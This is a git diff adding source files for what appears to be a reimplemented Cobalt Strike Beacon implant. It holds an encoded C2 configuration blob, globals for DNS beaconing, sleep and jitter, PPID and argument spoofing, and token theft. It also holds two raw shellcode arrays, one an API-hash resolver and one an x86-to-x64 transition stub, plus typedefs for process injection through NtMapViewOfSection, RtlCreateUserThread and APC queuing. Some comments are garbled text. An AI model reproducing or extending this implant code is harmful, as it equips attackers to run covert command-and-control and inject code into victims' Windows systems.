0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x1C, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2F, + 0x2E, 0x0D, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2C, 0x2E, 0x14, 0x2E, 0x2D, + 0x2E, 0xAE, 0x2E, 0x2A, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x17, + 0x2E, 0x2D, 0x2E, 0xAE, 0x2E, 0x2A, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x19, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2E, 0x2E, 0x06, 0x2E, 0x2C, + 0x2E, 0x2A, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x07, 0x2E, 0x2C, 0x2E, 0x2A, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x05, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x6E, + 0x2E, 0x02, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x6E, 0x2E, 0x03, 0x2E, 0x2C, + 0x2E, 0x2A, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x00, 0x2E, 0x2D, 0x2F, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x01, 0x2E, 0x2D, 0x2F, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x1B, 0x2E, 0x2D, 0x2E, 0x3E, 0x9C, 0x5D, 0x41, 0x32, + 0x95, 0x87, 0x23, 0x6C, 0x06, 0x41, 0xEA, 0x05, 0xD5, 0x89, 0x61, 0x63, + 0x2E, 0x1D, 0x2E, 0x2D, 0x2E, 0xAE, 0x2F, 0x2C, 0x2D, 0x2A, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x1A, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2E, 0x2E, 0x2E, + 0x7B, 0x39, 0xF6, 0xED, 0x5F, 0x0C, 0x61, 0x97, 0xDE, 0xCA, 0xF1, 0xD2, + 0x18, 0x90, 0x91, 0x8E, 0xCE, 0xC5, 0x0C, 0x02, 0xC5, 0xF4, 0x39, 0x67, + 0x56, 0x24, 0xA3, 0x67, 0xA5, 0xBF, 0xC0, 0x65, 0x33, 0xF1, 0x86, 0xA2, + 0x61, 0x54, 0xEA, 0xBF, 0x56, 0xDD, 0x77, 0xBE, 0xF1, 0x37, 0x83, 0x21, + 0x77, 0xB3, 0x3A, 0x19, 0xFE, 0xCD, 0xE2, 0xDB, 0x12, 0xFC, 0xB3, 0xA3, + 0xEB, 0xD0, 0x12, 0x31, 0xE8, 0x6B, 0xC6, 0x29, 0xCC, 0x3E, 0xB2, 0xEF, + 0xEB, 0xF6, 0xEC, 0x16, 0x52, 0xB1, 0x64, 0x21, 0x45, 0xC3, 0x4B, 0x07, + 0x0E, 0x25, 0x09, 0x71, 0xF0, 0x58, 0x6F, 0x58, 0x5D, 0x57, 0x32, 0xC4, + 0x75, 0xF3, 0xA6, 0x15, 0x5E, 0x0E, 0xF1, 0x96, 0x5F, 0xCB, 0xE6, 0x32, + 0x21, 0xDD, 0x5D, 0x36, 0x07, 0x2E, 0xB6, 0x78, 0x4B, 0x9B, 0x7E, 0x71, + 0x38, 0xBD, 0x3A, 0x79, 0x82, 0xA0, 0x47, 0x17, 0xB4, 0x1C, 0x43, 0x67, + 0xCA, 0x77, 0xDC, 0xB3, 0xC2, 0x6B, 0xFD, 0xE5, 0xCC, 0xE7, 0x84, 0xE1, + 0xB2, 0x45, 0x3A, 0x90, 0x27, 0x2A, 0x90, 0x53, 0x82, 0x28, 0xD0, 0x4B, + 0x27, 0x03, 0x0E, 0x9A, 0x59, 0xC1, 0x0E, 0x2C, 0x65, 0xBB, 0x46, 0xC7, + 0xD4, 0x06, 0x64, 0xB9, 0xD0, 0x60, 0x48, 0x77, 0x6C, 0x2C, 0x68, 0xC5, + 0xF3, 0x23, 0x84, 0x63, 0xD0, 0x2A, 0x6D, 0xA3, 0x08, 0xFF, 0xC2, 0xDE, + 0xB9, 0xE3, 0x8D, 0x69, 0x79, 0x3C, 0x65, 0x74, 0x1D, 0x18, 0x63, 0xDB, + 0x9C, 0xB9, 0x14, 0xA0, 0xA4, 0x43, 0x3E, 0x2D, 0xBB, 0x89, 0xFC, 0x22, + 0x50, 0x5D, 0xB0, 0xA3, 0x0A, 0xEC, 0x28, 0x39, 0xF8, 0x76, 0x9E, 0x4C, + 0xF1, 0x66, 0xD7, 0x0B, 0xAC, 0x7A, 0x7C, 0x00, 0x3C, 0x06, 0xE4, 0xA5, + 0x77, 0xB6, 0x9E, 0xB3, 0x64, 0x92, 0x9A, 0x1B, 0x1C, 0xB6, 0x5B, 0x21, + 0x04, 0x70, 0x4B, 0x4A, 0xEC, 0xAF, 0x06, 0xBE, 0x73, 0x67, 0x2C, 0xE7, + 0x89, 0xEE, 0x48, 0xA2, 0x5B, 0xA9, 0x9D, 0x25, 0xA6, 0xC7, 0x61, 0x0D, + 0xD8, 0x1B, 0xE5, 0x30, 0x1D, 0x36, 0xAA, 0x65, 0xF1, 0x58, 0x8C, 0x0D, + 0x33, 0x2E, 0xBC, 0x79, 0x40, 0x83, 0xB7, 0x46, 0x9B, 0x5D, 0x22, 0x8E, + 0xD9, 0xCA, 0xC2, 0x33, 0x4D, 0x60, 0xFA, 0x0E, 0xD5, 0x5B, 0xBC, 0x80, + 0x00, 0x68, 0xB7, 0xCA, 0xDC, 0x93, 0x35, 0xFA, 0x70, 0xAB, 0xE2, 0x80, + 0x78, 0x36, 0xA4, 0x68, 0xBA, 0xF7, 0xC3, 0xDD, 0xDB, 0xE5, 0x11, 0x4E, + 0x05, 0x3B, 0x99, 0x5F, 0xB3, 0x73, 0x7C, 0x8C, 0xC8, 0xEE, 0x6E, 0x4B, + 0xBD, 0x6F, 0x0B, 0x69, 0x1F, 0x91, 0x45, 0xA4, 0x57, 0x69, 0xE9, 0x4D, + 0xAE, 0xF9, 0xCF, 0x9B, 0xBD, 0xC6, 0xF8, 0xBE, 0xBB, 0xB9, 0xC2, 0x04, + 0xAD, 0xC8, 0xDE, 0xCD, 0x9E, 0x4F, 0x5E, 0xBB, 0xD9, 0xD6, 0x70, 0x13, + 0xDD, 0x07, 0x71, 0x13, 0xCD, 0x9C, 0x2F, 0x3E, 0xA6, 0x0C, 0xD4, 0x5E, + 0x17, 0xF2, 0x21, 0x48, 0x64, 0x9B, 0x08, 0xC4, 0x14, 0x65, 0x61, 0xDF, + 0xDB, 0x54, 0xBB, 0xAB, 0xF9, 0x4E, 0x51, 0xB1, 0x18, 0x9D, 0xFF, 0xDB, + 0xEF, 0x93, 0xF3, 0xE0, 0x3E, 0xC8, 0xBB, 0xDF, 0x3C, 0x0C, 0x2D, 0xC4, + 0x4B, 0x30, 0xD2, 0xA5, 0x9C, 0x91, 0xDD, 0x4B, 0x9D, 0x48, 0xB5, 0x93, + 0xDF, 0x09, 0x0B, 0xE8 +}; + + + +int g_dwMilliseconds = 0; +int g_jitter = 0; + +//dnsЩѾ +DWORD init_WSA; +DWORD dns_sleep; +DWORD dns_idle; +char* dns_get_A; +char* dns_get_AAAA; +char* dns_get_TXT; +char* dns_Listeneroptions_dnsresolver; + +//ϵͳ汾 +DWORD g_dwMajorVersion; + +char g_Encryption_Metadata[0x400]; +int g_Encryption_Metadata_size; + +/*beaconԪݵijʼй*/ +int MetadataNumber = 1; + +int g_BeaconStart=0; + +//post url +char g_post_url[3296]; + +size_t g_withdatasize; + +int gBeaconBlockDLL; + +//ƭ +DWORD gBeaconPPID; + +//beacontoken +int Create_token_Flag; + +LPCWSTR lpWideCharStr; +LPCWSTR lpDomain; +LPCWSTR lpPassword; + +BeaconSpoofArgs* gBeaconParameterSpoofing; + +int download_number=0; +BeaconDownload* gBeaconDownload; + +char* spawntoPath_x64; +char* spawntoPath_x86; + +unsigned char sub_10033020[76] = { + 0x55, 0x89, 0xE5, 0x56, 0x57, 0x8B, 0x75, 0x08, 0x8B, 0x4D, 0x0C, 0xE8, + 0x00, 0x00, 0x00, 0x00, 0x58, 0x83, 0xC0, 0x25, 0x83, 0xEC, 0x08, 0x89, + 0xE2, 0xC7, 0x42, 0x04, 0x33, 0x00, 0x00, 0x00, 0x89, 0x02, 0xE8, 0x09, + 0x00, 0x00, 0x00, 0x83, 0xC4, 0x14, 0x5F, 0x5E, 0x5D, 0xC2, 0x08, 0x00, + 0x8B, 0x3C, 0x24, 0xFF, 0x2A, 0x48, 0x31, 0xC0, 0x57, 0xFF, 0xD6, 0x5F, + 0x50, 0xC7, 0x44, 0x24, 0x04, 0x23, 0x00, 0x00, 0x00, 0x89, 0x3C, 0x24, + 0xFF, 0x2C, 0x24, 0x00 +}; + +unsigned char sub_10033070[297] = { + 0xFC, 0x48, 0x89, 0xCE, 0x48, 0x89, 0xE7, 0x48, 0x83, 0xE4, 0xF0, 0xE8, + 0xC8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, + 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, + 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, + 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, + 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, + 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x66, + 0x81, 0x78, 0x18, 0x0B, 0x02, 0x75, 0x72, 0x8B, 0x80, 0x88, 0x00, 0x00, + 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, + 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, + 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, + 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, + 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, + 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, + 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, + 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, + 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, + 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x4F, 0xFF, 0xFF, 0xFF, + 0x5D, 0x4D, 0x31, 0xC9, 0x41, 0x51, 0x48, 0x8D, 0x46, 0x18, 0x50, 0xFF, + 0x76, 0x10, 0xFF, 0x76, 0x08, 0x41, 0x51, 0x41, 0x51, 0x49, 0xB8, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xD2, 0x48, 0x8B, + 0x0E, 0x41, 0xBA, 0xC8, 0x38, 0xA4, 0x40, 0xFF, 0xD5, 0x48, 0x85, 0xC0, + 0x74, 0x0C, 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xEB, 0x0A, 0x48, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x83, 0xC4, 0x50, 0x48, 0x89, 0xFC, 0xC3, 0x00 +}; diff --git a/ReBeacon_Src/Global.h b/ReBeacon_Src/Global.h new file mode 100644 index 0000000..e21f7ad --- /dev/null +++ b/ReBeacon_Src/Global.h @@ -0,0 +1,194 @@ +#pragma once +//#include "veil.h" +#include +#include +#ifdef _MSC_VER +#pragma warning(disable:4005) +#endif + +typedef DWORD uint32; +typedef unsigned __int64 uint64; +#define __PAIR64__(high, low) (((uint64) (high) << 32) | (uint32)(low)) + +#define LAST_IND(x,part_type) (sizeof(x)/sizeof(part_type) - 1) +#if defined(__BYTE_ORDER) && __BYTE_ORDER == __BIG_ENDIAN +# define LOW_IND(x,part_type) LAST_IND(x,part_type) +# define HIGH_IND(x,part_type) 0 +#else +# define HIGH_IND(x,part_type) LAST_IND(x,part_type) +# define LOW_IND(x,part_type) 0 +#endif +#define DWORDn(x, n) (*((DWORD*)&(x)+n)) +#define HIDWORD(x) DWORDn(x,HIGH_IND(x,DWORD)) + +#include +#pragma warning(disable : 4200) +typedef struct +{ + int id; /*id*/ + int length; /**/ + char data[]; /*data*/ +} BeaconTask; + +typedef struct +{ + char* path; /*·*/ + int path_size; /*·*/ + STARTUPINFOA* pSTARTUPINFOA; + PROCESS_INFORMATION* pPROCESS_INFORMATION; + DWORD dwCreationFlags; + BOOL ignoreToken; +} BeaconStartProcess; + +struct BeaconSpoofArgs{ + BOOL state; + char cmd1[8192]; + char cmd2[8192]; + BeaconSpoofArgs* Linked; +}; + +typedef struct +{ + char* cmd2; + char* cmd; + int field_8; +} BeaconParameterSpoofing; + +extern BeaconSpoofArgs* gBeaconParameterSpoofing; + + +struct BeaconCreateprocess +{ + HANDLE process; + + void* data; + int data_size; + int SetErrorMode_value; + int(__cdecl* ProcessSettings)(BeaconCreateprocess* pBeaconCreateprocess, DWORD dwProcessId, LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, STARTUPINFOA* psi); + void(__cdecl* func2)(BeaconCreateprocess*); +}; + +struct BeaconDownload +{ + DWORD number; + DWORD size; + FILE* fp; + BeaconDownload* Linked; +}; +extern int download_number; +extern BeaconDownload* gBeaconDownload; + +typedef struct +{ + HANDLE hProcess; + HANDLE hThread; + DWORD Process_PID; + BOOL is_process_arch; + BOOL Flag_FALSE; + BOOL is_system_process; + BOOL is_Process_self; + BOOL ishThread; +}BeaconProcessInject; + +#include "macro.h" +/*Beacon dllػַ*/ +extern HINSTANCE Beacon_Dllbase; + +/*Beacon C2Ϣ*/ +extern char* CsC2Config; + +extern unsigned char rawData[4096]; + + +extern int g_dwMilliseconds; +extern int g_jitter; + +//dnsЩӦѾ +extern DWORD init_WSA; +extern DWORD dns_sleep; +extern DWORD dns_idle; +extern char* dns_get_A; +extern char* dns_get_AAAA; +extern char* dns_get_TXT; +extern char* dns_Listeneroptions_dnsresolver; + +//ϵͳ汾 +extern DWORD g_dwMajorVersion; + +extern char g_Encryption_Metadata[0x400]; +extern int g_Encryption_Metadata_size; + +/*beaconԪݵijʼй*/ +extern int MetadataNumber; + +extern int g_BeaconStart; + + +extern char g_post_url[3296]; + +extern size_t g_withdatasize; + +extern DWORD gBeaconPPID; + +extern int Create_token_Flag; + +extern LPCWSTR lpWideCharStr; +extern LPCWSTR lpDomain; +extern LPCWSTR lpPassword; + +extern char* spawntoPath_x64; +extern char* spawntoPath_x86; + +extern int gBeaconBlockDLL; + +//shellcode x86 +extern unsigned char sub_10033020[76]; + +//shellcode x86 +extern unsigned char sub_10033070[297]; + +//̨߳ +extern int BackgroundThreadsNumber; + +extern PVOID lpStartAddress; + +typedef NTSTATUS(NTAPI* NtMapViewOfSection_t)( + HANDLE sectionHandle, + HANDLE processHandle, + PVOID* baseAddress, + ULONG_PTR zeroBits, + SIZE_T commitSize, + PLARGE_INTEGER sectionOffset, + PSIZE_T viewSize, + ULONG inheritDisposition, + ULONG allocationType, + ULONG win32Protect); + + +typedef NTSTATUS(WINAPI* RtlCreateUserThread_t)( + IN HANDLE ProcessHandle, + IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, + IN BOOLEAN CreateSuspended, + IN ULONG StackZeroBits, + IN OUT PULONG StackReserved, + IN OUT PULONG StackCommit, + IN PVOID StartAddress, + IN PVOID StartParameter OPTIONAL, + OUT PHANDLE ThreadHandle, + OUT CLIENT_ID* ClientID); + +typedef NTSTATUS(WINAPI* NtQueueApcThread_t)( + HANDLE ThreadHandle, + PIO_APC_ROUTINE ApcRoutine, + PVOID ApcRoutineContext OPTIONAL, + PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, + ULONG ApcReserved OPTIONAL); + +typedef HANDLE(WINAPI* CreateThread_t) ( + LPSECURITY_ATTRIBUTES lpThreadAttributes, + SIZE_T dwStackSize, + LPTHREAD_START_ROUTINE lpStartAddress, + __drv_aliasesMem LPVOID lpParameter, + DWORD dwCreationFlags, + LPDWORD lpThreadId +); \ No newline at end of file diff --git a/ReBeacon_Src/ReBeacon_Src.vcxproj b/ReBeacon_Src/ReBeacon_Src.vcxproj new file mode 100644 index 0000000..5ffa5e7 --- /dev/null +++ b/ReBeacon_Src/ReBeacon_Src.vcxproj @@ -0,0 +1,192 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16.0 + Win32Proj + {8ea564da-e4a0-42d4-ad1b-e9847b5aa976} + ReBeaconSrc + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + MultiByte + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + MultiByte + + + + + + + + + + + + + + + + + + + + + true + + + false + ../lib;$(LibraryPath) + + + true + + + false + ../lib;$(LibraryPath) + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + false + LTM_DESC;WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + ../include;%(AdditionalIncludeDirectories) + MultiThreaded + 4005;4996;6387;28159;4018 + Disabled + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + false + LTM_DESC;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + 4005;4996;6387;28159;4018 + MultiThreaded + ../include;%(AdditionalIncludeDirectories) + Disabled + + + Console + true + true + true + + + + + + \ No newline at end of file diff --git a/ReBeacon_Src/ReBeacon_Src.vcxproj.filters b/ReBeacon_Src/ReBeacon_Src.vcxproj.filters new file mode 100644 index 0000000..48098d7 --- /dev/null +++ b/ReBeacon_Src/ReBeacon_Src.vcxproj.filters @@ -0,0 +1,123 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + 